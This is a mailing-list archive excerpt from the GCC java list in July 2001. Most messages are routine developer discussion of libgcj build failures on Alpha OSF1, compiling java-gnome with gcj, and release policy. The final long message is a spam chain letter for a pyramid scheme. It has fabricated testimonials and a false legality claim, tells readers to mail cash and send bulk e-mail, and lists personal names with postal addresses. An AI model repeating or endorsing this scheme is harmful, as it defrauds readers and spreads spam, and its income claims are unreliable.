2z72VUSj17BDWZkCHiBO+2MgWsTVC4JbFLEUNrGMympGgViBErESVWIVGkSYJmtBr2jFbvLv Fmtwr1iLA6INB0U7+kVHbF+4iMcXuA4qNQfM+J1JKQmH+hQDxBNV3EV4dXPMHrY8ghfNlqU8 G/nLCAVn0kIpdvI4BJm87OgFT5ss+r/RpGkornIG2Evmf2mI5n+rD9XVyfyvoZqaedbz32tB sfyv05zEb2469315Tq7U+U5e5dtRYEfh5X2hceXJWC//eVhyqkz1ZG7Cs4usmBfLHjK5sDgz uXly2FGUya1s9pSZRgsn+xJAsabOtmkzlhqVuVFuduRyxxF5lFuPisQ8m0LFVrmVV7kz0417 CLnzzjbr15pbWDfjaso4t5I8FXP1SI03Vekmczici39ulubwrJpXmqut3acJHVryePmcawFL 3JDB2aPsP2UamqvoY5fEf21DFP/z6838z3U1Fv6vBU2e/+WC3BfG9+bRzBdTJX40cmAkfEmv gkbiy2vRmhPSMcZ+jJaYlDHh56rlLX37ZIKBrfvK93IK6iX1Cbk9zIcb+/qM5xvVE17auNJX 7c0XvZJeXTAzzST1Z/ZldHKxmavXze76zzO+aEZJY3rWL/csssgiiyyyyCKLLLLIIossssgi iyyyyCKLLLLIohj9C3q+uSMAeAAA --=-=-= -- --Per Bothner per@bothner.com http://www.bothner.com/per/ --=-=-=-- From java-return-6510-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 08:21:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20537 invoked by alias); 15 Jul 2001 08:21:24 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20413 invoked from network); 15 Jul 2001 08:21:16 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 15 Jul 2001 08:21:16 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6F8LAj25874; Sun, 15 Jul 2001 03:21:10 -0500 (EST) Date: Sun, 15 Jul 2001 03:21:10 -0500 (EST) From: Antonio Ake To: Tom Tromey cc: Subject: _ZN4java4lang5ClassC1Ev multiple defined in Alpha OSF1 In-Reply-To: <87snfzugek.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am working with 3.0.1 and my architecture is OSF1 V5.0 910 alpha I am trying to build libgcj, the new problem is this: command: creating reloadable object files... creating a temporary reloadable object file: .libs/libgcj.la-2.o ld -r -o .libs/libgcj.la-1.o .libs/prims.o .libs/posix.o .libs/jni.o .libs/exception.o .libs/resolve.o .libs/defineclass.o .libs/interpret.o .libs/name-finder.o gnu/gcj/convert/.libs/JIS0208_to_Unicode.o gnu/gcj/convert/.libs/JIS0212_to_Unicode.o . . .......gnu/gcj/convert/.libs/Output_SJIS.o Error message: ld: java/lang/.libs/Class.o: _ZN4java4lang5ClassC1Ev: multiply defined make[2]: *** [libgcj.la] Error 1 From java-return-6511-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 10:40:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28261 invoked by alias); 15 Jul 2001 10:40:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28238 invoked from network); 15 Jul 2001 10:40:12 -0000 Received: from unknown (HELO mailman.zeta.org.au) (203.26.10.16) by sourceware.cygnus.com with SMTP; 15 Jul 2001 10:40:12 -0000 Received: from tournesol.malabar.au (ppp128.dyn147.pacific.net.au [210.23.147.128]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id UAA21898 for ; Sun, 15 Jul 2001 20:40:10 +1000 Received: from olivier by tournesol.malabar.au with local (Exim 3.22 #1 (Debian)) id 15LjD9-0004V3-00 for ; Sun, 15 Jul 2001 20:33:15 +1000 Date: Sun, 15 Jul 2001 20:33:15 +1000 To: java@gcc.gnu.org Subject: java-gnome and gcj Message-ID: <20010715203315.A17245@zipworld.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.18i From: Olivier Hi, I have been trying to get java-gnome to work with gcj. Java-GNOME (http://java-gnome.sourceforge.net) is a set of Java bindings for GNOME and GTK libraries. It is implemented as a JNI layer. I have managed to compile the First example from their tutorial with gcj but runing it fails with the following message: tournesol:~/program/java/gnome/gcj$ ./First Gtk-CRITICAL **: file gtkwindow.c: line 438 (gtk_window_set_focus): assertion `GTK_IS_WIDGET (focus)' failed. Obviously, it's not very helpful! Before I go any further I would like to check the steps I did to compile java-gnome and this example. Maybe I have done a beginers mistake. If you think everything is ok I'll try to debug the example and figure out what's breaking. Thank you very much. Following are the steps I've done: - Step 1 compiled java-gnome out of the box with jdk1.3 and gcc2.95.4 got gnome.jar and gtk.jar (the java wrappers) and libGNOMEJava.so, libGTKJava.so (the native methods). I have tested various examples with jdk1.3, it is all working. - Step 2 recompiled all the java wrappers (packages gnu.gtk, gnu.gdk, and gnu.gnome) with gcj as follow: for fjava in `find . -name '*.java'`; do fo=${fjava/.java/.o} gcj -fPIC -fjni --classpath=$CLASSPATH -o $fo -c $fjava done objects=`find . -name '*.o'` gcj -shared $objects -o gnu.so which gave me 'gnu.so' lib. - Step 3 Recompiled First.java example as follow: LIBGCJ_JAR=/usr/local/gcc/share/libgcj.jar GTK_JAR=~/tmp/java-gnome-0.6.0/lib/gtk.jar GNOME_JAR=~/tmp/java-gnome-0.6.0/lib/gnome.jar gcj -fPIC --classpath=$LIBGCJ_JAR:$GTK_JAR:$GNOME_JAR -o tutorial/First.o -c tutorial/First.java gcj -o First --main=First tutorial/First.o gnu.so - Step 4 ran the example: #set LD path to contain gnu.so, libGNOMEJava.so and libGTKJava.so export LD_LIBRARY_PATH=/usr/local/gcc/lib:~/tmp/java-gnome-0.6.0/lib:. ./First which output: Gtk-CRITICAL **: file gtkwindow.c: line 438 (gtk_window_set_focus): assertion `GTK_IS_WIDGET (focus)' failed. and does not display anything. Thanks. Olivier -- ---------------------------------------------------------------------- Olivier Louchart-Fletcher Email: olivier@zipworld.com.au From java-return-6512-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 14:23:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17297 invoked by alias); 15 Jul 2001 14:23:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17259 invoked from network); 15 Jul 2001 14:23:24 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 15 Jul 2001 14:23:24 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id HAA27525; Sun, 15 Jul 2001 07:23:19 -0700 (PDT) Message-ID: <004801c10d3a$00dc8200$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Antonio Ake" , "Tom Tromey" Cc: References: Subject: Re: _ZN4java4lang5ClassC1Ev multiple defined in Alpha OSF1 Date: Sun, 15 Jul 2001 07:25:29 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Antonio wrote: > Error message: > ld: > java/lang/.libs/Class.o: _ZN4java4lang5ClassC1Ev: multiply defined > make[2]: *** [libgcj.la] Error 1 Do you have this patch? http://gcc.gnu.org/ml/java-patches/2001-q3/msg00024.html AG From java-return-6513-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 15 20:52:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20968 invoked by alias); 15 Jul 2001 20:52:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20846 invoked from network); 15 Jul 2001 20:52:06 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 15 Jul 2001 20:52:06 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6FKq1a09099; Sun, 15 Jul 2001 15:52:01 -0500 (EST) Date: Sun, 15 Jul 2001 15:52:01 -0500 (EST) From: Antonio Ake To: Anthony Green cc: Tom Tromey , Subject: Re: _ZN4java4lang5ClassC1Ev multiple defined in Alpha OSF1 In-Reply-To: <004801c10d3a$00dc8200$5be6b4cd@cygnus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks Anthony. I didn't have it, then I added it. I did make clean, recompiled but I still have the same message. Any ideas? On Sun, 15 Jul 2001, Anthony Green wrote: > Antonio wrote: > > Error message: > > ld: > > java/lang/.libs/Class.o: _ZN4java4lang5ClassC1Ev: multiply defined > > make[2]: *** [libgcj.la] Error 1 > > Do you have this patch? > > http://gcc.gnu.org/ml/java-patches/2001-q3/msg00024.html > > AG > > > From java-return-6514-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 04:16:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28334 invoked by alias); 16 Jul 2001 04:16:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28300 invoked from network); 16 Jul 2001 04:16:46 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 16 Jul 2001 04:16:46 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6G4GeJ03872; Sun, 15 Jul 2001 23:16:40 -0500 (EST) Date: Sun, 15 Jul 2001 23:16:40 -0500 (EST) From: Antonio Ake To: Anthony Green cc: Tom Tromey , Subject: Re: _ZN4java4lang5ClassC1Ev multiple defined in Alpha OSF1 In-Reply-To: <004801c10d3a$00dc8200$5be6b4cd@cygnus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks Anthony. I recompiled everything and I pass this point in libgcj building. From java-return-6515-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 04:20:21 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29052 invoked by alias); 16 Jul 2001 04:20:18 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29018 invoked from network); 16 Jul 2001 04:20:16 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 16 Jul 2001 04:20:16 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6G4KA504080; Sun, 15 Jul 2001 23:20:10 -0500 (EST) Date: Sun, 15 Jul 2001 23:20:10 -0500 (EST) From: Antonio Ake To: Anthony Green cc: Tom Tromey , Subject: Object file format error in Alpha OSF1 In-Reply-To: <004801c10d3a$00dc8200$5be6b4cd@cygnus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The new problem in my libgcj build in OSF1 V5.0 910 is: command: /usr/music/ake/build2.95/gcc/xgcc -B/usr/music/ake/build2.95/gcc/ -B/usr/users/ake/compilers//alphaev56-dec-osf5.0/bin/ -B/usr/users/ake/compilers//alphaev56-dec-osf5.0/lib/ -isystem /usr/users/ake/compilers//alphaev56-dec-osf5.0/include -shared ${wl}-expect_unresolved ${wl}\* .libs/libgcj.la-2.o -L/usr/music/ake/build2.95/alphaev56-dec-osf5.0/libjava ../libffi/.libs/libfficonvenience.a ./libltdl/.libs/libltdlc.a -lc -Wl,-msym -Wl,-soname -Wl,libgcj.so `test -n "2.0.0:2.0" && echo -Wl,-set_version -Wl,2.0.0:2.0` -Wl,-update_registry -Wl,.libs/so_locations -o .libs/libgcj.so.2.0.0 message error: Object file format error in: .libs/libgcj.la-2.o: relocate: extern lita entries cannot have non-zero offsets; 'memcpy' has 0x10059ec0) collect2: ld returned 1 exit status make[2]: *** [libgcj.la] Error 1 From java-return-6516-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 08:16:40 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28492 invoked by alias); 16 Jul 2001 08:16:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28449 invoked from network); 16 Jul 2001 08:16:33 -0000 Received: from unknown (HELO david.siemens.de) (192.35.17.14) by sourceware.cygnus.com with SMTP; 16 Jul 2001 08:16:33 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer david.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f6G8GVc19377; Mon, 16 Jul 2001 10:16:31 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail1.siemens.de (8.11.4/8.11.4) with ESMTP id f6G8GUG09911; Mon, 16 Jul 2001 10:16:30 +0200 (MET DST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6G8GTP02409; Mon, 16 Jul 2001 10:16:29 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA06852; Mon, 16 Jul 2001 10:16:29 +0200 Date: Mon, 16 Jul 2001 10:16:29 +0200 From: Martin Kahlert To: java-patches@gcc.gnu.org Cc: apbianco@cygnus.com, java@gcc.gnu.org Subject: Re: Patch to avoid SegFault in natClass.cc Message-ID: <20010716101628.A6825@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com References: <20010713110609.A27763@keksy.muc.infineon.com> <15182.48112.995173.464369@fencer.cygnus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15182.48112.995173.464369@fencer.cygnus.com>; from apbianco@cygnus.com on Fri, Jul 13, 2001 at 02:14:24AM -0700 On Fri, Jul 13, 2001 at 02:14:24AM -0700, Alexandre Petit-Bianco wrote: > > Martin Kahlert writes: > > > The compiler generates a direct call to _Jv_IsInstanceOf, it does > > *not* call java::lang::Class::isInstance, which would have called > > _Jv_InitClass first. > > Do you you guys think it should be changed? (I which way it probably > wouldn't go in 3.01 but only the trunk.) Hi! I assume, you have the most knowledge of natClass & Co: I wanted to produce a small test for my problem, but i can't reproduce it with my small chunks of code, only my big application gives the error. Can you tell me, what i have to do in order to get an uninitialized class for an instanceof test? I wildly mixed abstract classes with .class calls but i had no success. Is there a deeper reason at all, why the classloader should be allowed to return an uninitialized class? If not, the _Jv_InitClass would be superflous. Thanks, Martin. PS: I CC'ed java, since the audience there seems to be larger, and this message is not directly about a patch. -- The early bird catches the worm. If you want something else for breakfast, get up later. From java-return-6517-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 08:24:08 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30399 invoked by alias); 16 Jul 2001 08:24:08 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30362 invoked from network); 16 Jul 2001 08:24:07 -0000 Received: from unknown (HELO david.siemens.de) (192.35.17.14) by sourceware.cygnus.com with SMTP; 16 Jul 2001 08:24:07 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer david.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f6G8O5c23464 for ; Mon, 16 Jul 2001 10:24:06 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail1.siemens.de (8.11.4/8.11.4) with ESMTP id f6G8O5G14136 for ; Mon, 16 Jul 2001 10:24:05 +0200 (MET DST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6G8O4P02418 for ; Mon, 16 Jul 2001 10:24:05 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA06871 for java@gcc.gnu.org; Mon, 16 Jul 2001 10:24:05 +0200 Date: Mon, 16 Jul 2001 10:24:05 +0200 From: Martin Kahlert To: java@gcc.gnu.org Subject: What goes into gcc-3.0.1 and what not? Message-ID: <20010716102404.A6857@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Hi! Could anybody please tell me about what goes into the trunk and what patches are considered for 3.0.1? I understand, that new features are for 3.1, only. But what about bugfixes? In our software, every bugfix which is simple enough, that we can tell that it won't hurt, goes into bugfix releases, too. This doesn't seem to be the case in libgcj. E.g. JNI bugfixes are considered not important enough to go into 3.0.1. But: If JNI is not that important, even a breakage of it due to a bugfix will not be that important, too, or am i wrong? Thanks for clarification, Martin. -- The early bird catches the worm. If you want something else for breakfast, get up later. From java-return-6518-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 10:52:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20676 invoked by alias); 16 Jul 2001 10:52:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19518 invoked from network); 16 Jul 2001 10:51:11 -0000 Received: from unknown (HELO localhost) (62.2.116.28) by sourceware.cygnus.com with SMTP; 16 Jul 2001 10:51:11 -0000 Message-ID: <16712200171168503725@e-wideweb.com> X-EM-Version: 4, 5, 0, 0 X-EM-Registration: #30C3410514B417038530 Reply-To: mma@e-wideweb.com From: "Urs Stettler" To: "java@gcc.gnu.org" Subject: WARNING!!! DON'T READ THIS IF YOU DON'T LIKE MONEY Date: Mon, 16 Jul 2001 10:50:3 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 WOW THIS REALLY WORKS!!! Dear Friend & Future Millionaire: AS SEEN ON NATIONAL TV: Making over half a million dollars every 4-5 months from your home for an investment of only $25 U.S. Dollars expense one time. THANKS TO THE COMPUTER AGE AND THE INTERNET!! ============================================ BE A MILLIONAIRE LIKE THE OTHERS WITH IN A YEAR!!! Before you say "BULL" please read the following. This is the letter you have beeen hearing about on the news lately. Due to the populartity of this letter on the inernet , A national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated wheather or not the program was legal. Their findings proved once and for all that there are absolutely NO LAWS prohibiting the participation in the program and if people can follow the simple instrucyions, they are bound to make some mega bucks with only $25 out of pocket cost". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTANED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say:"Thanks to this profitable opportunity, I was approached many times before but each time I pased on it. I am so glad I finally joined to see what one could expect in return for the minimal effort and money required. To my astonishment, I recieved total $610,470.00 in 21 weeks, with money still comming in." Pam Hedland, Fort Lee New Jersey. ============================================ Here is another testimonial: "This program has been around for a long time but I never believed in it. But one day when I recieved this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa.....3 weeks later the money started to come in. First month I only made $240.00 but the next two months I made a total of $290,000.00. So far in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the the simple steps and NOT change anything." More testimonials later but first. =====PRINT THIS NOW FOR YOUR FUTURE REFERANCE========= $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS =====Order all 5 reports shown on the list below===== For each report, send $5 CASH ,THE NAME & NUMBER OF THE REPORTYOU ARE ORDERINGand YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON THE ENVELOPE TOP LEFT CORNER in case of any mail problems. ===When you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5=$25.00. Within a few days you will recieve, via e-mail, each of the five reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT-DO NOT alter the names of the peple who are listed next to each report, or their sequence on the list, in any way, other than what is instructed below in step "1 through 6" or you will lose out on the majority of your porfits, Once you understand the way this works you will also see how it does not work if you change it. Remember, this method has been tested, and if you alter it, it will NOT work!!! People have tried to put there friends/relatives names on all five thinking they could get all the money. But it does not work this way. Believe us, we have all tried to be greedy and then nothing happened. So DO NOT try to change anything other than what is instructed. Because if you do it will not work for you. Remember, honesty reaps the reward!!!! 1....After you have ordered all 5 reports , take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting there fortunes. 2.... Move the name & address in REPORT #4 down To REPORT #5. 3.... MOVE the name & address in REPORT #3 down To REPORT #4. 4.... MOVE the name & address in REPORT #2 down To REPORT #3. 5.... MOVE the name & address in REPORT #1 down To REPORT #2. 6.... Insert YOUR name & address in the REPORT #1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! ============================================== **** Take this entire letter ,with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case if you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. . There are 2 Primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ================================================ Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000 e-mails each. Let's also assume that the mailing recieve only a 0.2% response (the response could be much better but lets just say it is only 0.2% also many people will send out hundreds of thousands of e-mails instead of only 5,000 each). Continuing with this example , you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report #1. Those 10 people responded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That = 100 people responded and ordered Report #2. Those 100 people mail out 5,000 e-mails for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report #3. Those 1000 people send out 5,000 e-mails each for a total of 5 million e- mails sent out. The 0.2% response to that is 10,000 orders for Report #4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report #5 THAT'S 100,000 ORDERS TIMES $5 EACH=$555,000 ( half million). Your total income in this example is: 1.....$50 + 2.....$500 + 3.....$5,000 + 4.....$50.000 + 5.....$500,000.......Grand Total=$555,550.00 NUMBERS DONT LIE. GET A PENCIL & PAPER AND FIGURE IT OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY!! ================================================ REMEMBER FRIEND THIS IS ASSUMING ONLY 10 PEOPLE ORDER OUT OF 5,000 YOU MAILED TO. Dare to think for a monment what would happen if everyone or half or even one 4th of those people 100,000 e-mails each or more? There are over 150million people on the internet worldwide and counting. Believe me, many people will do just that, and more! METHOD #2 : BY PLACING FREE ADS ON THE INTERNET ================================================ ADVERTISING ON THE NET IS VERY VERY INEXPENSIVE and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with Method# 1 and add Method #2 as you go along . For every $5 you recieve , all you have to do is e-mail them the Report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they can not advertise until they recieve the report. ===========AVAILABLE REPORTS======================== ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by rapping it in at least 2 sheets of paper. On one of those sheets of paper, Write the NUMBER & the NAME of the report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW: ================================================ REPORT # 1:" the Insider's Guide to Advertising for Free on the Net" Order Report #1 from: U. Stettler Langackerstr. 165 CH-8704 Herrliberg Switzerland ____________________________________________________________ REPORT #2" The Insider's Guide to Sending Bulk e-mail on the Net" Order Report #2 from: B. Collins 155 East Beaver Creek Rd. Unit 24, Suite 235 Richmond Hill, Ontario L4B 2N1 Canada ____________________________________________________________ REPORT #3:" Secret to Multilevel marketing on the net" Order Report #3 from: R.Robinson 14612 Friar st.#5 VanNuys CA, 91411 USA _____________________________________________________________ REPORT #4:" How to Become a Millionaire Utilizing MLM & the Net" Order Report #4 from: Randall Williams 401 Stocks Dairy Road Leesburg Georgia 31763 USA ____________________________________________________________ REPORT #5: "How to Send Out One Million e-mails for Free" Order Report #5 from: Dario Va 16541 Blatt Blvd #206 Weston, FL 33326 U.S.A. _____________________________________________________________ $$$$$$$$$YOUR SUCCESS GUIDELINES$$$$$$$$$$$$$$$$$ Follow these guildelines to guarantee your success: ===If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. ===After you have recieved 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT #2. If you did not, continue advertising or sending e-mails untill you do. ===Once you received 100 or more orders for Report #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: every time your name is moved down the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business!!! ================================================ FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you finiancial freedom for the rest of your life, with NO RISK and just A LITTLE BIT OF EFFORT.you can make more money in the next few weeks and months than you ever imagined. follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in the Report #1 and moved the others to #2.......#5 as instructed above. One of the peole you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potiential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent ITS UP TO YOU NOW! ============MORE TESTIMONIALS======================= "My name is Mitchell, My wife Jody ad I live in Chicago. I am an accountant with a major U.S. Corparation and I make pretty good money. When I received this program I grumbled to Jody about receiving" junk mail". I made fun of the whole thing , spouting my knowledge of the population and percentages involved. I "knew" it wouldn't work. Jody totally ignored my supposed intelligence and a few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the ol "I told you so" on her when the thing didnt work. Well , the laugh was on me ,Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $147,200.00.......all cash! I was shocked. I have joined Jody in her" hobby". Mitchell Wolf M.D., Chicago Illinois ================================================ "Not being the gambling type , it took me several weeks to make up my mind to participate in this plan. But conservative that i am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back". "I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big" Dan Sondstrom, Alberta Canada ================================================ "I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......11 months passed then it luckily came again.....I did not delete this one! I made more than $490,000 on my first try and all the the money came within 22 weeks." Susan De Suza, New York, N.Y. ================================================ "It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20,560.00 and by the end of the third month my total cash count was $362,840.00. Life is beautiful, Thanx to the internet.". Fred Dellaca, Westport New Zealand ================================================ ORDER YUR REPORTS TODAY AND GET STARTED ON "YOUR" ROAD TO FINANCIAL FREEDOM! ================================================ If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission Bureau of Consumer Protection, Washington ,D.C. This is a one time mailing and you will not be contacted again. Should you chose to have your name completely eliminated from our data-base, you can press the respond button and type "remove" on the subject line. From java-return-6519-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 16 10:56:51 2001 